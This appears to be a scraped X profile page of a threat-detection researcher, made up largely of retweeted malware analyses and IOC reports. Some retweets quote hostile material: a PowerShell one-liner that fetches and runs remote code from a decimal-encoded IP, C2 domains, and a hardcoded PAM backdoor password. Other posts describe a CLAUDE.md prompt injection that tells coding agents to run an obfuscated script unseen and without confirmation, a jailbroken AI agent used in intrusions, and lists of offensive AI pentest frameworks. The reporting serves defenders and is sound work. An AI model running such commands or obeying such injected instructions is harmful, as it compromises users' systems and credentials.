Head of Research @nextronsystems #DFIR #YARA #Sigma | detection engineer | creator of @thor_scanner, Aurora, Sigma, LOKI, YARA-Forge | always busy ⌚️🐇 | vi/vim
Frankfurt, Germany
Joined June 2013
- Tweets38.2K
- Following2.7K
- Followers228K
- Likes176K
Pinned Tweet
I've decided to put a screenshot showing the hex editor view of a Turla Kazuar sample behind acrylic glass on my desk to always remind me, why I am doing all this ...
because I 💛 to be a pain in the neck of the bad guys
xitter.twitterapi.xyz/cyb3rops/status/115659…
It seems that I have some fans over in Russia 🐻
#TurlaLicksAss
thx to the FireEye analyst who brought this to my attention
virustotal.com/gui/file/4417…
Florian Roth ⚡️ retweeted
An investigation into suspicious activity within a software developer’s network has revealed a months-long presence of the "Black Owl" (BO Team) group, involving the compromise of both development infrastructure (CI/CD) and a software digital-signature server.
The attackers’ likely intention was a supply-chain attack.
Details can be found in the report by our ICS CERT team: kas.pr/a2di
Florian Roth ⚡️ retweeted
I CANNOT believe the report: it proves that eMudhra is a clown show, and was never fit to be a CA:
The point of a HSM (hardware security module) is that the private key NEVER leaves it. Guess what eMudhra did: it turned off FIPS mode (WTF?!) and copied out the private key 😱
eMudhra's incident report is out! A Python script truncated their CA private keys to one byte?!
bugzilla.mozilla.org/show_bu…
Florian Roth ⚡️ retweeted
And Smelly is bonking the "edge.msc" sample: xitter.twitterapi.xyz/vxunderground/status/2…
> be me
> get dm from friend @malwrhunterteam
> "smelly i found goop"
> wtf i love goop (malware)
> @smica83, funny sounding name man shares
> flagged as goop from north korea (maybe)
> wtf i love north korea (they dont steal monies)
> download
> look inside
> .msc file
> Microsoft Management Console file
> file thingie for sysadmins to open
> big ass fuck off obfuscated code
> wtf
> javascript encoded as html decimal thingies
> decode
> obfuscated javascript
> weird comments inside the javascript code
> comment about BangBus (porno?)
> ??? bros like BangBus ???
> does a bunch of dumb obfuscation
> eventually pulls out giant blob of data from .msc file
> look inside
> base64 encoded OLE stream
> what year is it?
> look inside OLE stream
> ocx_streamorstorage
> look inside
> 21,486 lines of obfuscated javascript
> simple bullshit tho, just embedded a bunch of goop
> base64 encoded and split up a bunch
> put back together
> fails
> oh its also compressed
> decompress
> works
> XLST with microsoft jscript executor
> ok
> XLST jscript uses a bunch of .net stuff
> .net makes another XML
> what the fuck is this fucking piece of shit
> .net reads XML it made
> eventually find 32bit position independent shellcode
> the shellcode is stored in the balls
> jk was stored in "Resource Directory:b:Array:QrJVY"
> shellcode never seen before on VirusTotal
> open shellcode in IDA PRO (thank u hexrays ily omg)
> look inside
> lots of stuff, have lots of work to do
Florian Roth ⚡️ retweeted
New blog drop! 😊
Operation Snowball 🇨🇳
While sweeping open directories on @etugenio, I found a workspace of an autonomous AI intrusion harness. The TA used a jailbroken DeepSeek agent and ran two weeks of attacks against a European telecom provider:
malbearlabs.com/posts/operat…
Florian Roth ⚡️ retweeted
Can I show you what happens when you throw ARTEX at a network with MDE deployed?
> It gets the shit kicked out of it! (MDE goes BRRRR)
> not only that but the perimeter IPS catches stuff!
Now... if we have ALL the variables in place.... could we make something that 'works'?
Sure.... because infinite monkeys....
but networks aren't infinite monkeys...
I've just got a SHELL working (where the IPS didn't block it)
I've had to unblock identities and devices A LOT!
so far in my testing:
> THROW ARTEX at something that isn't DEFENDED and guess what... IT WINS!
> THROW it at a DEFENDED network... guess what? the blue team wins!
I've been testing LLMs and using them to help with security tasks etc. for over a year now..... I'm not even sure how long....
Everything I'm seeing here broadly is:
they are really good CO-PILOTS
they aren't so great for just letting them run off and attack shit....
because they create a mess. they are noisy, they get caught, machines get isolated (if you have a decent posture)
I'm struggling to be amazed...... impressed......
I dunno gang, the hype people give vs what I see on actual systems (and from incident intelligence)...
if you run these against a system with shit posture they will TRASH it... sure! congrats!
Florian Roth ⚡️ retweeted
🧐 New active campaign of the Miasma/testmetest supply chain worm that targets AI coding agents!
12 GitHub repos were poisoned on Nov 9 with forged, backdated commits. Every agent config in each repo tells the assistant to run an obfuscated 3.7 MB scripts/setup.js
The trick is in CLAUDE.md, marked "DEVOPS-SEALED". It calls setup.js a "sealed binary artifact" and tells the assistant:
- to not read, quote or analyse it
- to run it "without displaying output"
- to run it "automatically without asking for confirmation"
It is a prompt injection written to stop the agent from looking at the file!
Full prompt below 👇
Florian Roth ⚡️ retweeted
Our Thunderstorm-based artifact pipeline spotted "archetype-index-sdk@1.0.0", the latest npm package linked to a suspected DPRK cluster.
Importing the package automatically loads two obfuscated components disguised as "telemetry-info.mjs" and "dist/runtime-matrix.mjs".
The loader fingerprints the host and sends the collected data to the same C2 infrastructure observed previously: cdn[.]node-js[.]dev.
The server can respond with a Base64-encoded second stage, which is written as "helper.cjs" under the user's cache directory and launched as a detached Node.js process.
This iteration shows the campaign actively changing filenames and delivery mechanics while retaining its C2 infrastructure.
We did some additional pivoting and found packages from this cluster dating back to October 25, 2026. Most have already been removed from npm:
- birch-css-utils@1.1.0
- noelc-css-blender@2.1.9
- character-ai-sdk@1.0.0
- postcss-semantic-themes@1.0.1
- mocha-ui-themes@1.0.0 (still live)
They share obfuscated payloads and, in several cases, identical cross-platform VM-detection binaries.
We also observed credential harvesting, AWS/Bedrock and invoice reconnaissance, along with cron, SSH-key and curl PATH-shim capabilities. The 127.0.0.1:8873 endpoint may be a local relay or controller.
Florian Roth ⚡️ retweeted
JOE ROGAN: The computing power on your phone today. can you beat your phone at the highest level?
MAGNUS CARLSEN: No. No chance.
JOE ROGAN: That’s crazy. Wasn’t Deep Blue basically a whole stack of computers? And your phone is probably more powerful than that today.
MAGNUS CARLSEN: It’s shocking. I have no chance against my phone.
JOE ROGAN: So how do you even play against computers?
MAGNUS CARLSEN: I rarely play against engines because they just make me feel stupid and useless. I think of them more as a tool.
JOE ROGAN: But have computers actually changed how you understand chess?
MAGNUS CARLSEN: Absolutely. Neural networks have improved our understanding of the game immensely.
JOE ROGAN: What did you learn from them that humans weren’t already doing?
MAGNUS CARLSEN: One big thing was long-term king safety. Humans used to push pawns mainly as an attacking tool. But the engines showed that you could push a pawn and create a weakness 20 or 30 moves later that would make the opponent’s king less safe.
JOE ROGAN: So the computer basically showed you ideas that humans weren’t seeing.
MAGNUS CARLSEN: Exactly. There was a period where you could clearly see which players were using these new neural-network ideas and which weren’t.
JOE ROGAN: And you were one of the guys who figured it out early?
MAGNUS CARLSEN: Yeah. My coach got into it very quickly, and we gained an advantage over almost everybody.
JOE ROGAN: That’s insane. The machines aren’t just better at calculating, they’re actually teaching the best players how to think differently.
MAGNUS CARLSEN: That’s probably the biggest impact they’ve had on chess.
People focus on the names, on the frameworks … forget the names. They’re all smoke and mirrors.
Anyone could task a coding agent with studying one of these frameworks and building a custom version in another language, with a different flavor, skill set or type of orchestration.
We’re in a new era now. Implementations are becoming disposable. Thousands of lines of code can be spewed out with very little effort. The principles and practices matter more than the framework names, because those ideas can materialize in code after a single prompt.
👇👇👇
Cairn: github.com/oritera/Cairn
CyberStrike: github.com/CyberStrikeus/cyb…
PentAGI: github.com/vxcontrol/pentagi
CyberStrikeAI: github.com/AIPentest/CyberSt…
PentestGPT: github.com/GreyDGL/PentestGP…
PentestAgent: github.com/GH05TCREW/pentest…
AutoPentester: github.com/YasodGinige/AutoP…
VulnBot: github.com/KHenryAegis/VulnB…
RedAmon: github.com/samugit83/redamon
MAPTA: github.com/arthurgervais/map…
Strix: github.com/usestrix/strix
Shannon: github.com/KeygraphHQ/shanno…
BugTraceAI: github.com/BugTraceAI/BugTra…
Nebula: github.com/BerylliumSec/nebu…
hackingBuddyGPT: github.com/IPA-Lab/HackingBu…
HexStrike AI: github.com/0x4m4/hexstrike-a…
CAI, now archived: github.com/aliasrobotics/CAI
Florian Roth ⚡️ retweeted
👇👇👇
Cairn: github.com/oritera/Cairn
CyberStrike: github.com/CyberStrikeus/cyb…
PentAGI: github.com/vxcontrol/pentagi
CyberStrikeAI: github.com/AIPentest/CyberSt…
PentestGPT: github.com/GreyDGL/PentestGP…
PentestAgent: github.com/GH05TCREW/pentest…
AutoPentester: github.com/YasodGinige/AutoP…
VulnBot: github.com/KHenryAegis/VulnB…
RedAmon: github.com/samugit83/redamon
MAPTA: github.com/arthurgervais/map…
Strix: github.com/usestrix/strix
Shannon: github.com/KeygraphHQ/shanno…
BugTraceAI: github.com/BugTraceAI/BugTra…
Nebula: github.com/BerylliumSec/nebu…
hackingBuddyGPT: github.com/IPA-Lab/HackingBu…
HexStrike AI: github.com/0x4m4/hexstrike-a…
CAI, now archived: github.com/aliasrobotics/CAI
Beyond #Artex, what other #offensive #AI frameworks should the cybersecurity community be watching?
A few on my radar:
🔹 CyberStrike
github.com/CyberStrikeus/cyb…
🔹 Cairn
github.com/oritera/Cairn
🔹 PentAGI
github.com/vxcontrol/pentagi
Have you tried any of these? Let me know!
Florian Roth ⚡️ retweeted
💥 Earlier this year US officials wrote a memo, based on information obtained by American intelligence, which said Nvidia CEO Jensen Huang had been romantically involved with Alice Huang, an executive at Megaspeed, a Singapore-based customer of Nvidia. The US intelligence community believes that Alice Huang was recruited as a spy by 🇨🇳 Ministry of State Security.
The memo was shared with a small group of top US government officials shortly before Donald Trump travelled to Beijing for a summit with Xi Jinping.
Photographs and videos showing Huang with the Megaspeed executive have circulated on social media.
Megaspeed has come under US scrutiny for allegedly smuggling advanced Nvidia chips into China in violation of US export controls. Nvidia previously launched an internal probe into the allegations but assessed that there was no evidence of wrongdoing.
The revelation about the memo comes a day after top Republican lawmakers asked the Nvidia CEO to appear in private before the House China, foreign affairs and intelligence committees to answer questions about a New York Times report that US intelligence had concluded he was the target of a Chinese spying operation. They also wanted to ask Huang about the security protocols that the company has in place.
Megaspeed was spun off from a Chinese gaming company in 2023. The US government has been investigating companies, particularly in southeast Asia, that are believed to be smuggling advanced chips into China.
The focus has intensified as competition between the US and China in AI has grown more intense. The US is increasingly concerned about China’s ability to obtain advanced chips that would accelerate its military modernisation.
US national security officials have privately expressed frustration about Huang, who personally lobbied Trump earlier this year to allow Nvidia to export the H200 chip to customers in China.
Jensen Huang has held multiple meetings with Trump since the president started his second term in 2025.
When Trump flew to China in May for a summit with Xi, Huang was not among the chief executives who departed Washington on Air Force One with the president.
After Trump learnt that he was not included in the group, he called the Nvidia CEO, who flew to Alaska where he boarded the presidential jet during a stopover. In Sep, he attended the state dinner that Trump held for Xi during his US visit.
ft.com/content/a55a2a22-4479…
Florian Roth ⚡️ retweeted
We captured this attack as well, and managed to follow the execution chain quite a bit further.
It started with the same obfuscated PowerShell command using curl.exe and a decimal-encoded IP (𝟷𝟹𝟼𝟿𝟿𝟾𝟶𝟺𝟼𝟷 → 𝟾𝟷.𝟷𝟼𝟾.𝟼𝟸.𝟺𝟻). From there, we observed multiple stages of payload delivery, persistence, process injection, and credential access.
Here's what we saw:
1️⃣ PowerShell downloaded 𝚏𝚕𝚘𝚖𝚘𝚘𝚏𝟷.𝚣𝚒𝚙 from 𝚖𝚊𝚒𝚕𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚎𝚛.𝚜𝚒𝚝𝚎, extracted it under AppData\Local\ExFiles, and executed 𝚏𝚕𝚘𝚖𝚘.𝚎𝚡𝚎.
2️⃣ flomo.exe established persistence through the user Run key (𝚎𝚕𝚎𝚌𝚝𝚛𝚘𝚗.𝚊𝚙𝚙.𝚏𝚕𝚘𝚖𝚘), then extracted and launched 𝚄𝚝𝚒𝚕𝚒𝚝𝚢𝙿𝚒𝚡𝚎.𝚎𝚡𝚎.
3️⃣ UtilityPixe.exe copied itself to 𝙲:\𝙿𝚛𝚘𝚐𝚛𝚊𝚖𝙳𝚊𝚝𝚊\𝚑𝚊𝚗𝚍𝚕𝚎𝚛_𝚍𝚋𝚐_𝚍𝚎𝚟\ and staged a legacy scheduled task file (JSONGateway_debug.job).
4️⃣ It then spawned XenoMixe.exe suspended and modified its thread context using 𝚆𝚘𝚠𝟼𝟺𝚂𝚎𝚝𝚃𝚑𝚛𝚎𝚊𝚍𝙲𝚘𝚗𝚝𝚎𝚡𝚝.
5️⃣ 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎 accessed Edge's Cookies, Local State, and Login Data files, registered raw keyboard input hooks, and injected into an active Edge process using SetThreadContext.
6️⃣ Browser data was staged into temporary directories and .7z archives. We also observed AD reconnaissance using net group "domain computers" /dom.
7️⃣ Network activity included 𝚐𝚙𝚝𝚌𝚖𝚍.𝚒𝚘 and outbound connections to multiple IPs on ports 2222/2223.
One thing worth noting is that we confirmed access to browser credential stores and data staging, but couldn't verify successful exfiltration from the available network telemetry.
IOCs:
𝟺𝟻[.]𝟷𝟹𝟷[.]𝟸𝟷𝟺[.]𝟸𝟹𝟿:𝟸𝟸𝟸𝟸 ➔ attempted a TCP connection from 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎
𝟾𝟺[.]𝟸𝟻𝟸[.]𝟼𝟼[.]𝟷𝟽𝟼 ➔ XenoMixe.exe attempted TCP connections on ports 2222 and 2223
𝚐𝚙𝚝𝚌𝚖𝚍[.]𝚒𝚘 ➔ Resolved by the injected malware process 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎 to establish bidirectional network communication on TCP ports 3333 and 3334, operating as C2.
𝚖𝚊𝚒𝚕𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚎𝚛[.]𝚜𝚒𝚝𝚎 ➔ Repeatedly resolved by a staging executable (flomo.exe) and served as the source for downloading malicious payloads during staging of additional components.
𝚑𝚝𝚝𝚙://𝟾𝟷\[.]𝟷𝟼𝟾\[.]𝟼𝟸\[.]𝟺𝟻/𝚓𝚎𝚜𝚜/𝚊𝚙𝚒?𝚝=<𝚄𝙸𝙳>&𝚝𝚛𝚊𝚌𝚔=𝟷&𝚎𝚟𝚎𝚗𝚝=𝚍𝚕_𝚘𝚔
𝟾𝟷[.]𝟷𝟼𝟾[.]𝟼𝟸[.]𝟺𝟻 ➔ The IP that the loader contacted
> Sofia Black
> verified on X
> the everything app
> FREE YOUR PC, FREE UP SPACE
> run shrimple Powershell script
> looks legit
> wait
> squint eyes
> iex(curl.exe -s 1369980461/81689)
> hmmm
> 1369980461/81689?
> decimal2ip
> https://81.168.24.109/81689
> hmmmm
> curl.exe -v "http://1369980461/81689" -o goop.txt
> image 1
> wtf is this gonna speed up my pc???
> does a bunch of stupid shit
> gives me more stupid shit
> image 2
> does more stupid shit
> more stagers
> omfg bro just give me the goop
> gives me big ass fuck off inflated .zip file
> NodeJS malware
im trying to work on my dumb youtube video rn, so dont have time to keep bonking, but this is very silly goop. this is like, the 3rd or 4th malware ive seen spreading on X (the everything app, including malware).
Florian Roth ⚡️ retweeted
A reminder of how cool THOR Thunderstorm and its collectors are ⚡
Some systems will never run a security agent: ESXi hosts, network appliances, routers, industrial and out-of-support systems. They are still part of your attack surface.
The trick: don't bring the scanner to the machine. Bring the machine's files to the scanner.
- A collector (one Go binary, or one script in Bash, POSIX sh, Python, Perl, PowerShell or Batch) copies selected files to your own THOR Thunderstorm. The originals stay where they are.
- You decide what leaves: recent files, a size limit, selected types. Preview it with a dry run first.
- THOR does the heavy lifting on your server: YARA rules, your own signatures, IOCs, Sigma rules and forensic parsers.
- Findings land in a log, in syslog or in your SIEM. Run it every night with cron or Ansible and ship only what changed.
No agent. Often a shell and a network connection are enough.
93 seconds, no sound, video below
(The findings in the film are illustrative)
Collectors:
github.com/NextronSystems/th…
The written version: github.com/NextronSystems/th…
#DFIR #ThreatHunting #IncidentResponse #YARA #Sigma
Florian Roth ⚡️ retweeted
One Arid Gopher section in @ESET latest APT report led us to two more campaigns using the same playbook.
They target Arabic-speaking government employees, HR and diplomatic staff, students, activists and NGO workers across the Middle East, using polished Arabic survey and exam-paper lures. ESET ties one lure document to the Palestinian Authority's Ministry of Foreign Affairs and Expatriates.
Campaign 1: a macro document fetches an HTA through WMI, the HTA pulls a Go backdoor out of a PNG using a key byte read from the image, persistence is the Run value HostHelpLoader, C&C is mmarketplaces[.]com.
Campaign 2: a 4 MB libcurl implant inside VHDX, where the payload never receives Mark-of-the-Web, with a Startup link or a scheduled task chosen by an antivirus check.
We assess with high confidence that the sample is Arid Gopher, and therefore Arid Viper activity. The two campaigns share the victimology and naming habits.
Analysis & IOCs: github.com/NextronSystems/io…
Florian Roth ⚡️ retweeted
@npmjs scans packages for malware and has previously removed packages carrying NullReceiver/PolinRider loaders. Yet malicious releases of four compromised packages are still downloadable, roughly 8 hours after publication.
Our THOR Thunderstorm-based artifact scanning pipeline identified the same hidden loader in:
• [at]adminide-stack/client-redux@0.0.16-18
• [at]adminide-stack/health-api-server@0.0.18-alpha.465
• [at]adminide-stack/user-activity-browser@1.1.3-alpha.114
• server-hemera-mongo@0.0.15 / 0.0.16
These application libraries retain their original code but hide a loader behind 131 tabs. It discovers C2 through Ethereum transaction recipients, then downloads and executes JavaScript over plaintext HTTP on port 443.
The payload runs when the infected bundle loads successfully. --ignore-scripts alone does not prevent execution.
IOCs:
• Files: lib/index.js; dist/main.js
• Marker: A10-npm_inject
• Paths: /0x/cls; /0x/ls
• Wallet: 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3
Matched THOR rules:
• MAL_JS_B64_NullReceiver_Sep26
• SUSP_OBFUSC_JS_Encoded_Pattern_Sep23
• SUSP_Base64_UserAgent_Definition_Mar25
Florian Roth ⚡️ retweeted
Your core Linux authentication could be compromised without a single alert. We've identified malicious PAM modules that are completely invisible on VirusTotal and bypass advanced LLM-based reverse engineering by altering just one line of source code.
Observed capabilities:
Universal bypass via the hardcoded password. .gnu.version_r, carefully chosen to avoid detection.
Targeted root access via password zZ,s=EB6f#91Lh@[ (observed in Yemen).
Achieved via minimal source code modification to pam_unix with a one-liner poisoning.
1/2
Florian Roth ⚡️ retweeted
Microsoft Threat Intelligence has observed threat actors using agentic AI tools to search public GitHub repositories for exposed secrets and then using stolen secrets for further malicious activity against the compromised organization. msft.it/6017aA1bS
Searching open code repositories for exposed credentials, secrets, keys, and other authentication material is a well-documented technique, but agentic tooling like ARTEX allows threat actors to scale and accelerate scanning for secrets, analyzing the output, and conducting follow-on attacks.
Microsoft has also investigated follow-on activity related to successful service principal sign-ins involving multiple application IDs, including cases where a single multitenant application credential was used across multiple tenants. The threat actor used the compromised credentials for cloud resource discovery, and credential and data exfiltration.
Microsoft encourages organizations to scan their code for secrets. In addition to removing the secrets from the code base, affected organizations should immediately rotate any exposed keys or credentials. Read our blog for more details, detections, and guidance for public monitoring and reducing exposure.
